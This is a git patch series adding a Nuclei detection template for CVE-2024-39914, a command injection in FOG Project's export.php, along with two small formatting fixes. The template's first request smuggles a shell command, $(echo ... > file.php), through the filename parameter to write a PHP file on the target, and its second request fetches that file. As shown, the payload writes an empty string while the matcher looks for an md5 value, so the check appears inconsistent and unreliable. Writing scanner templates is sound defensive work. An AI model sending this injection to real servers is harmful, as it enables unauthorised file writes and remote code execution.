From c5b76edbfb9099c1468f9a1ca65d6e89974542b3 Mon Sep 17 00:00:00 2001 From: Kazgangap Date: Wed, 24 Jul 2024 22:39:34 +0300 Subject: [PATCH 1/3] add CVE-2024-39914 --- http/cves/2024/CVE-2024-39914.yaml | 62 ++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 http/cves/2024/CVE-2024-39914.yaml diff --git a/http/cves/2024/CVE-2024-39914.yaml b/http/cves/2024/CVE-2024-39914.yaml new file mode 100644 index 0000000000..6b6d5bc422 --- /dev/null +++ b/http/cves/2024/CVE-2024-39914.yaml @@ -0,0 +1,62 @@ +id: CVE-2024-39914 + +info: + name: FOG Project < 1.5.10.34 - Remote Command Execution + author: securityforeveryone + severity: critical + description: | + FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. This vulnerability is fixed in 1.5.10.34. + remediation: Fixed in 1.5.10.34 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2024-39914 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914 + - https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j + - https://blog.csdn.net/qq_39894062/article/details/140550009 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2024-39914 + cwe-id: CWE-77 + epss-score: 0.00043 + epss-percentile: 0.09367 + metadata: + vendor: fogproject + product: fogproject + fofa-query: icon_hash="-1952619005" + tags: cve,cve2024,rce,fog +variables: + filename: "{{to_lower(rand_text_alpha(12))}}" + num: "{{rand_int(1000, 9999)}}" + +flow: http(1) && http(2) + +http: + - raw: + - | + POST /management/export.php?filename=$(echo+''+>+{{filename}}.php)&type=pdf HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + fogguiuser=fog&nojson=2 + + matchers: + - type: dsl + dsl: + - 'contains_all(body,"No HTML files!","HTMLDOC")' + - 'contains(content_type, "application/pdf")' + - status_code == 200 + condition: and + internal: true + + - raw: + - | + GET /management/{{filename}}.php HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - 'contains(body,"{{md5(num)}}")' + - 'contains(content_type, "text/html")' + - status_code == 200 + condition: and From 79ad416e52fd5bbafa22ecfd6c52b29b157701e0 Mon Sep 17 00:00:00 2001 From: Kazgangap Date: Wed, 24 Jul 2024 22:46:23 +0300 Subject: [PATCH 2/3] fix --- http/cves/2024/CVE-2024-39914.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/http/cves/2024/CVE-2024-39914.yaml b/http/cves/2024/CVE-2024-39914.yaml index 6b6d5bc422..e37daae58f 100644 --- a/http/cves/2024/CVE-2024-39914.yaml +++ b/http/cves/2024/CVE-2024-39914.yaml @@ -25,8 +25,8 @@ info: fofa-query: icon_hash="-1952619005" tags: cve,cve2024,rce,fog variables: - filename: "{{to_lower(rand_text_alpha(12))}}" - num: "{{rand_int(1000, 9999)}}" + filename: "{{to_lower(rand_text_alpha(12))}}" + num: "{{rand_int(1000, 9999)}}" flow: http(1) && http(2) From c7b33cefd62b24922a20ae5d72b1f58fc5494299 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Thu, 25 Jul 2024 11:58:42 +0530 Subject: [PATCH 3/3] minor-update --- http/cves/2024/CVE-2024-39914.yaml | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/http/cves/2024/CVE-2024-39914.yaml b/http/cves/2024/CVE-2024-39914.yaml index e37daae58f..baae0d8e9f 100644 --- a/http/cves/2024/CVE-2024-39914.yaml +++ b/http/cves/2024/CVE-2024-39914.yaml @@ -5,7 +5,7 @@ info: author: securityforeveryone severity: critical description: | - FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. This vulnerability is fixed in 1.5.10.34. + FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. remediation: Fixed in 1.5.10.34 reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-39914 @@ -24,6 +24,7 @@ info: product: fogproject fofa-query: icon_hash="-1952619005" tags: cve,cve2024,rce,fog + variables: filename: "{{to_lower(rand_text_alpha(12))}}" num: "{{rand_int(1000, 9999)}}" @@ -44,7 +45,7 @@ http: dsl: - 'contains_all(body,"No HTML files!","HTMLDOC")' - 'contains(content_type, "application/pdf")' - - status_code == 200 + - 'status_code == 200' condition: and internal: true @@ -58,5 +59,5 @@ http: dsl: - 'contains(body,"{{md5(num)}}")' - 'contains(content_type, "text/html")' - - status_code == 200 + - 'status_code == 200' condition: and